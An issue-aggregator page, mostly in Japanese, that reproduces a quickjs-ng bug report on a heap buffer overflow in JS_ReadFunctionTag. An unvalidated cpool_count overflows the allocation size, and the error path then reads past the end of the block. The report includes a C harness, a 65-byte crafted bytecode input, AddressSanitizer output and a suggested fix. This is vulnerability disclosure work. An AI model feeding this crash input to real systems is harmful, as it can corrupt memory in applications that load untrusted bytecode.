Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

Heap buffer overflow in JS_ReadFunctionTag when cpool_count overflows function_size

オープン
#1,853 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 2 日以内に返信

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
48/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
c
領域
backend, security

調査の方向性

Start in quickjs.c at JS_ReadFunctionTag around the reported size computation and inspect free_function_bytecode, which releases the constant pool on failure. Check how bytecode counts and allocation sizes are validated elsewhere, then run the existing bytecode reader tests with the supplied reproducer. Done means malformed input is rejected without overflow or an out-of-bounds read.

索引モデルが issue の本文から書いたものです。

説明

JS_ReadFunctionTag uses attacker-controlled cpool_count, local_count and byte_code_len directly in an int size computation, with no validation, then allocates that size and later walks cpool_count entries.

plaintext

// quickjs.c:39704
if (bc_get_leb128_int(s, &bc.cpool_count)) goto fail;
if (bc_get_leb128_int(s, &bc.byte_code_len)) goto fail;
if (bc_get_leb128_int(s, &local_count)) goto fail;

function_size = cpool_offset + bc.cpool_count * sizeof(*bc.cpool); // int overflow
function_size += local_count * sizeof(*bc.vardefs); // int overflow
function_size += bc.byte_code_len; // int overflow
b = js_mallocz(ctx, function_size);
sizeof(JSValue) is 16, so cpool_count > 134,217,728 wraps the multiplication. cpool_count = 0x10000001 gives * 16 = 16: a 16-byte allocation, while b->cpool_count stays at 268 million.

On the error path free_function_bytecode() then walks the full range:

plaintext

for (i = 0; i < b->cpool_count; i++)
JS_FreeValueRT(rt, b->cpool[i]); // past the end of the block
Reproducer:

plaintext

#include <stdio.h>
#include "quickjs.h"
int main(void) {
unsigned char buf[1 << 20];
size_t n = fread(buf, 1, sizeof(buf), stdin);
if (!n) return 0;
JSRuntime *rt = JS_NewRuntime();
JSContext *ctx = JS_NewContext(rt);
JSValue v = JS_ReadObject(ctx, buf, n, JS_READ_OBJ_BYTECODE);
if (JS_IsException(v)) { JSValue e = JS_GetException(ctx); JS_FreeValue(ctx, e); }
JS_FreeValue(ctx, v);
JS_FreeContext(ctx); JS_FreeRuntime(rt);
return 0;
}
65-byte input:

plaintext

1d ff ff ff ff 01 01 13 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 16 30 0d 01 01 01
01 00 30 30 01 30 01 30 30 30 30 07 07 30 30 30
30 30 30 0c 30 30 30 30 30 30 30 30 30 30 30 30
30
ff ff ff ff at offset 1 is the documented UINT32_MAX checksum escape hatch, so the checksum does not need to be recomputed.

Result:

plaintext

==165748==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7abb0bde0980
READ of size 4
#0 free_function_bytecode quickjs.c:37168:45
#1 free_gc_object quickjs.c:7104:9
#2 free_zero_refcount quickjs.c:7123:9
#3 js_free_value_rt quickjs.c:7169:21
#6 JS_ReadFunctionTag quickjs.c:39938:5
#7 JS_ReadObjectRec quickjs.c:40414:15
#8 js_map_read quickjs.c:54055:19
#12 JS_ReadObject quickjs.c:40617:12
Also reproduces as a plain SIGSEGV (exit 139) on a -O2 build with no sanitizers, so it is not an ASAN artifact.

Tested on commit 7a23d8e (0.17.0), x86-64 Linux.

Suggested fix: validate before the size computation and do the arithmetic in size_t with overflow checks:

plaintext

if (bc.cpool_count < 0 || bc.cpool_count > JS_MAX_CPOOL_COUNT ||
local_count < 0 || local_count > JS_MAX_LOCAL_COUNT ||
bc.byte_code_len < 0 || bc.byte_code_len > JS_MAX_BYTECODE_LEN)
goto fail;
and free only the cpool entries actually initialised (the buffer is js_mallocz'd, so track the filled count or clamp b->cpool_count before any goto fail that reaches the destructor).

I know bytecode is out of scope per SECURITY.md — filing as a plain bug report, not a security report.

主要言語
C
スター
3.9k
フォーク
389
平均マージ
2日 9時間
マージ済み PR(30日)
19

環境構築

このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

quickjs-ng/quickjs のほかの issue

quickjs-ng/quickjs の issue をすべて見る

似ている issue

C の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。